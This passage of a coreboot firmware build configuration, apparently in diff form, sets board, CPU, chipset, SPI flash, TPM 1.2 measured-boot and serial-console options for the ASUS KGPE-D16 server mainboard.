+# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_ADI is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_ADVANSUS is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y +# CONFIG_VENDOR_AVALUE is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ESD is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IEI is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TYAN is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_DIR="asus/kgpe-d16" +CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" +CONFIG_MAX_CPUS=32 +CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 +CONFIG_MAINBOARD_VENDOR="ASUS" +CONFIG_APIC_ID_OFFSET=0x0 +CONFIG_HW_MEM_HOLE_SIZEK=0x100000 +CONFIG_MAX_PHYSICAL_CPUS=4 +CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 +CONFIG_HT_CHAIN_UNITID_BASE=0x0 +CONFIG_IRQ_SLOT_COUNT=13 +CONFIG_VGA_BIOS_ID="1a03,2000" +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DIMM_SPD_SIZE=256 +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +# CONFIG_BOARD_ASUS_AM1I_A is not set +# CONFIG_BOARD_ASUS_F2A85_M is not set +# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set +# CONFIG_BOARD_ASUS_F2A85_M_LE is not set +# CONFIG_BOARD_ASUS_H61M_CS is not set +# CONFIG_BOARD_ASUS_KCMA_D8 is not set +# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y +# CONFIG_BOARD_ASUS_M4A78_EM is not set +# CONFIG_BOARD_ASUS_M4A785M is not set +# CONFIG_BOARD_ASUS_M4A785TM is not set +# CONFIG_BOARD_ASUS_M5A88_V is not set +# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set +# CONFIG_BOARD_ASUS_P2B_D is not set +# CONFIG_BOARD_ASUS_P2B_DS is not set +# CONFIG_BOARD_ASUS_P2B_F is not set +# CONFIG_BOARD_ASUS_P2B_LS is not set +# CONFIG_BOARD_ASUS_P2B is not set +# CONFIG_BOARD_ASUS_P3B_F is not set +# CONFIG_BOARD_ASUS_P5GC_MX is not set +# CONFIG_BOARD_ASUS_P5QC is not set +# CONFIG_BOARD_ASUS_P5Q_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_EM is not set +# CONFIG_BOARD_ASUS_P5QPL_AM is not set +# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set +# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set +CONFIG_POST_IO=y +CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" +CONFIG_DCACHE_RAM_BASE=0xc2000 +CONFIG_DCACHE_RAM_SIZE=0x1e000 +CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f +CONFIG_MAX_REBOOT_CNT=10 +CONFIG_USBDEBUG_HCD_INDEX=0 +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_FMDFILE="" +# CONFIG_VBOOT is not set +CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_POST_DEVICE=y +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_TPM_INIT=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_DIMM_MAX=4 +CONFIG_TPM_PIRQ=0x0 +CONFIG_TTYS0_LCS=3 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 CONFIG_USBDEBUG=y +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_NO_POST is not set +CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 +CONFIG_HEAP_SIZE=0xc0000 +# CONFIG_CONSOLE_POST is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=ttyS1,115200n8 earlyprintk=ttyS1,115200 quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_2048=y +# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x1000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# CONFIG_SYSTEM_TYPE_LAPTOP is not set +# CONFIG_SYSTEM_TYPE_TABLET is not set +# CONFIG_SYSTEM_TYPE_DETACHABLE is not set +# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set +# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set + +# +# Chipset +# + +# +# SoC +# +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_CPU_ADDR_BITS=48 +CONFIG_MMCONF_BUS_NUMBER=256 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" +# CONFIG_SOC_CAVIUM_CN81XX is not set +CONFIG_ARCH_ARMV8_EXTENSION=0 +CONFIG_STACK_SIZE=0x1000 +# CONFIG_SOC_CAVIUM_COMMON is not set +# CONFIG_SOC_INTEL_GLK is not set +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_TTYS0_BASE=0x2f8 +CONFIG_HPET_MIN_TICKS=0x14 +CONFIG_UART_PCI_ADDR=0x0 +# CONFIG_SOC_MEDIATEK_MT8173 is not set +# CONFIG_SOC_MEDIATEK_MT8183 is not set +# CONFIG_SOC_NVIDIA_TEGRA124 is not set +# CONFIG_SOC_NVIDIA_TEGRA210 is not set +# CONFIG_SOC_QUALCOMM_COMMON is not set +# CONFIG_SOC_QC_IPQ40XX is not set +# CONFIG_SOC_QC_IPQ806X is not set +# CONFIG_SOC_QUALCOMM_QCS405 is not set +# CONFIG_SOC_QUALCOMM_SC7180 is not set +# CONFIG_SOC_QUALCOMM_SDM845 is not set +# CONFIG_SOC_ROCKCHIP_RK3288 is not set +# CONFIG_SOC_ROCKCHIP_RK3399 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set +# CONFIG_SOC_UCB_RISCV is not set + +# +# CPU +# +CONFIG_CPU_SOCKET_TYPE=0x15 +# CONFIG_EXT_RT_TBL_SUPPORT is not set +CONFIG_CBB=0x0 +CONFIG_CDB=0x18 +CONFIG_XIP_ROM_SIZE=0x80000 +CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y +CONFIG_CPU_AMD_MODEL_10XXX=y +CONFIG_USE_LARGE_DCACHE=y +CONFIG_NUM_IPI_STARTS=1 +CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 +CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 +CONFIG_DCACHE_AP_STACK_SIZE=0x500 +CONFIG_SET_FIDVID=y +CONFIG_LIFT_BSP_APIC_ID=y +CONFIG_SET_FIDVID_DEBUG=y +CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y +# CONFIG_SET_FIDVID_CORE0_ONLY is not set +CONFIG_SET_FIDVID_CORE_RANGE=0 +CONFIG_UDELAY_LAPIC_FIXED_FSB=200 +# CONFIG_CPU_AMD_AGESA is not set +# CONFIG_CPU_AMD_PI is not set +# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set +CONFIG_SSE2=y +# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set +# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set +# CONFIG_CPU_TI_AM335X is not set +CONFIG_PARALLEL_CPU_INIT=y +# CONFIG_PARALLEL_MP is not set +CONFIG_UDELAY_LAPIC=y +# CONFIG_LAPIC_MONOTONIC_TIMER is not set +# CONFIG_UDELAY_TSC is not set +CONFIG_TSC_SYNC_LFENCE=y +# CONFIG_TSC_SYNC_MFENCE is not set +# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set +CONFIG_LOGICAL_CPUS=y +# CONFIG_HAVE_SMI_HANDLER is not set +# CONFIG_NO_SMM is not set +# CONFIG_SMM_ASEG is not set +CONFIG_SMM_TSEG=y +CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 +CONFIG_SMM_STUB_STACK_SIZE=0x400 +# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set +# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set +CONFIG_X86_AMD_FIXED_MTRRS=y +# CONFIG_X86_AMD_INIT_SIPI is not set +# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set +# CONFIG_SOC_SETS_MSRS is not set +CONFIG_CAR_GLOBAL_MIGRATION=y +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +# CONFIG_USES_MICROCODE_HEADER_FILES is not set +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y +CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y + +# +# Northbridge +# +# CONFIG_NORTHBRIDGE_AMD_AGESA is not set +CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y +CONFIG_AGP_APERTURE_SIZE=0x4000000 +CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" +CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y +# CONFIG_HT_CHAIN_DISTRIBUTE is not set +# CONFIG_DIMM_DDR2 is not set +CONFIG_DIMM_DDR3=y +CONFIG_DIMM_REGISTERED=y +CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y +# CONFIG_SVI_HIGH_FREQ is not set + +# +# HyperTransport setup +# +# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set +CONFIG_LIMIT_HT_DOWN_WIDTH_16=y +# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set +CONFIG_LIMIT_HT_UP_WIDTH_16=y +# CONFIG_NORTHBRIDGE_AMD_PI is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y +CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" +# CONFIG_AMD_SB_CIMX is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set +CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y +CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y +# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set +CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y +CONFIG_SOUTHBRIDGE_AMD_SR5650=y +CONFIG_EXT_CONF_SUPPORT=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set +# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set +# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set + +# +# Super I/O +# +# CONFIG_SUPERIO_ASPEED_AST2400 is not set +# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set +# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set +# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set +CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y +CONFIG_SUPERIO_WINBOND_W83667HG_A=y + +# +# Embedded Controllers +# +# CONFIG_EC_GOOGLE_WILCO is not set +# CONFIG_CAVIUM_BDK is not set +# CONFIG_MAINBOARD_HAS_CHROMEOS is not set +# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set +# CONFIG_UEFI_2_4_BINDING is not set +# CONFIG_UDK_2015_BINDING is not set +# CONFIG_UDK_2017_BINDING is not set +# CONFIG_USE_SIEMENS_HWILIB is not set +# CONFIG_ARM_LPAE is not set +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +# CONFIG_ARCH_POSTCAR_X86_32 is not set +CONFIG_ARCH_RAMSTAGE_X86_32=y +# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set +# CONFIG_ARCH_VERSTAGE_X86_64 is not set +# CONFIG_ARCH_ROMSTAGE_X86_64 is not set +# CONFIG_ARCH_POSTCAR_X86_64 is not set +# CONFIG_ARCH_RAMSTAGE_X86_64 is not set +# CONFIG_USE_MARCH_586 is not set +# CONFIG_AP_IN_SIPI_WAIT is not set +# CONFIG_SIPI_VECTOR_IN_ROM is not set +CONFIG_RAMBASE=0xe00000 +CONFIG_RAMTOP=0x1000000 +# CONFIG_CBMEM_TOP_BACKUP is not set +CONFIG_PC80_SYSTEM=y +# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y +# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set +# CONFIG_HPET_ADDRESS_OVERRIDE is not set +CONFIG_HPET_ADDRESS=0xfed00000 +CONFIG_ID_SECTION_OFFSET=0x80 +# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set +# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" +CONFIG_ACPI_HAVE_PCAT_8259=y +# CONFIG_COLLECT_TIMESTAMPS_NO_TSC is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +# CONFIG_PAGING_IN_CACHE_AS_RAM is not set +# CONFIG_IDT_IN_EVERY_STAGE is not set +# CONFIG_PIRQ_ROUTE is not set + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +# CONFIG_MULTIPLE_VGA_ADAPTERS is not set + +# +# Display +# +CONFIG_VGA_TEXT_FRAMEBUFFER=y +CONFIG_SMBUS_HAS_AUX_CHANNELS=y +CONFIG_PCI=y +# CONFIG_NO_MMCONF_SUPPORT is not set +CONFIG_MMCONF_SUPPORT=y +CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_AZALIA_PLUGIN_SUPPORT is not set +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +# CONFIG_EARLY_PCI_BRIDGE is not set +# CONFIG_SOFTWARE_I2C is not set + +# +# Generic Drivers +# +# CONFIG_DRIVERS_AS3722_RTC is not set +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_MAINBOARD_HAS_CRB_TPM is not set +# CONFIG_GIC is not set +CONFIG_IPMI_KCS=y +# CONFIG_DRIVERS_LENOVO_WACOM is not set +# CONFIG_RT8168_GET_MAC_FROM_VPD is not set +# CONFIG_RT8168_SET_LED_MODE is not set +# CONFIG_SMMSTORE_IN_CBFS is not set +CONFIG_SPI_FLASH=y +# CONFIG_SPI_SDCARD is not set +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set +# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set +# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set +# CONFIG_NO_UART_ON_SUPERIO is not set +# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set +# CONFIG_UART_OVERRIDE_REFCLK is not set +# CONFIG_DRIVERS_UART_8250MEM is not set +# CONFIG_DRIVERS_UART_8250MEM_32 is not set +# CONFIG_HAVE_UART_SPECIAL is not set +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_DRIVERS_UART_PL011 is not set +# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_WIFI=y +# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_AMD_PI is not set +CONFIG_DRIVERS_ASPEED_AST2050=y +CONFIG_DRIVERS_ASPEED_AST_COMMON=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_I2C_MAX98373 is not set +# CONFIG_DRIVERS_I2C_MAX98927 is not set +# CONFIG_DRIVERS_I2C_PCA9538 is not set +# CONFIG_DRIVERS_I2C_PCF8523 is not set +# CONFIG_DRIVERS_I2C_PTN3460 is not set +# CONFIG_DRIVERS_I2C_RT1011 is not set +# CONFIG_DRIVERS_I2C_RT5663 is not set +# CONFIG_DRIVERS_I2C_RTD2132 is not set +# CONFIG_DRIVERS_I2C_RX6110SA is not set +# CONFIG_DRIVERS_I2C_SX9310 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set +CONFIG_DRIVERS_I2C_W83795=y +# CONFIG_PLATFORM_USES_FSP1_0 is not set +# CONFIG_PLATFORM_USES_FSP2_0 is not set +# CONFIG_PLATFORM_USES_FSP2_1 is not set +# CONFIG_INTEL_DDI is not set +# CONFIG_INTEL_EDID is not set +# CONFIG_INTEL_INT15 is not set +# CONFIG_INTEL_GMA_ACPI is not set +# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set +# CONFIG_INTEL_GMA_SWSMISCI is not set +# CONFIG_DRIVER_INTEL_I210 is not set +# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set +# CONFIG_HAVE_INTEL_PTT is not set +# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set +# CONFIG_DRIVER_MAXIM_MAX77686 is not set +# CONFIG_DRIVER_PARADE_PS8625 is not set +# CONFIG_DRIVER_PARADE_PS8640 is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_LPC_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_MAINBOARD_HAS_LPC_TPM=y +CONFIG_VGA=y +# CONFIG_DRIVERS_RICOH_RCE822 is not set +# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set +# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set +# CONFIG_DRIVER_TI_TPS65090 is not set +# CONFIG_DRIVERS_TI_TPS65913 is not set +# CONFIG_DRIVERS_TI_TPS65913_RTC is not set +# CONFIG_DRIVERS_USB_ACPI is not set +# CONFIG_COMMONLIB_STORAGE is not set + +# +# Security +# + +# +# Verified Boot (vboot) +# + +# +# Trusted Platform Module +# +CONFIG_TPM1=y +# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y +# CONFIG_USER_TPM2 is not set +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y + +# +# Memory initialization +# +# CONFIG_ACPI_SATA_GENERATOR is not set +# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set +# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set +# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set +# CONFIG_RTC is not set + +# +# Console +# +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_CONSOLE_SERIAL=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x2f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set +CONFIG_HWBASE_DEBUG_CB=y +CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y +# CONFIG_NO_MONOTONIC_TIMER is not set +CONFIG_HAVE_MONOTONIC_TIMER=y +# CONFIG_TIMER_QUEUE is not set +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_PCI_IO_CFG_EXT=y +CONFIG_IOAPIC=y +# CONFIG_USE_WATCHDOG_ON_BOOT is not set +# CONFIG_GFXUMA is not set +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_HAVE_MP_TABLE=y +CONFIG_HAVE_PIRQ_TABLE=y +# CONFIG_COMMON_FADT is not set +# CONFIG_ACPI_NHLT is not set + +# +# System tables +# +CONFIG_GENERATE_MP_TABLE=y +CONFIG_GENERATE_PIRQ_TABLE=y +CONFIG_GENERATE_SMBIOS_TABLES=y +# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BAYOU is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# 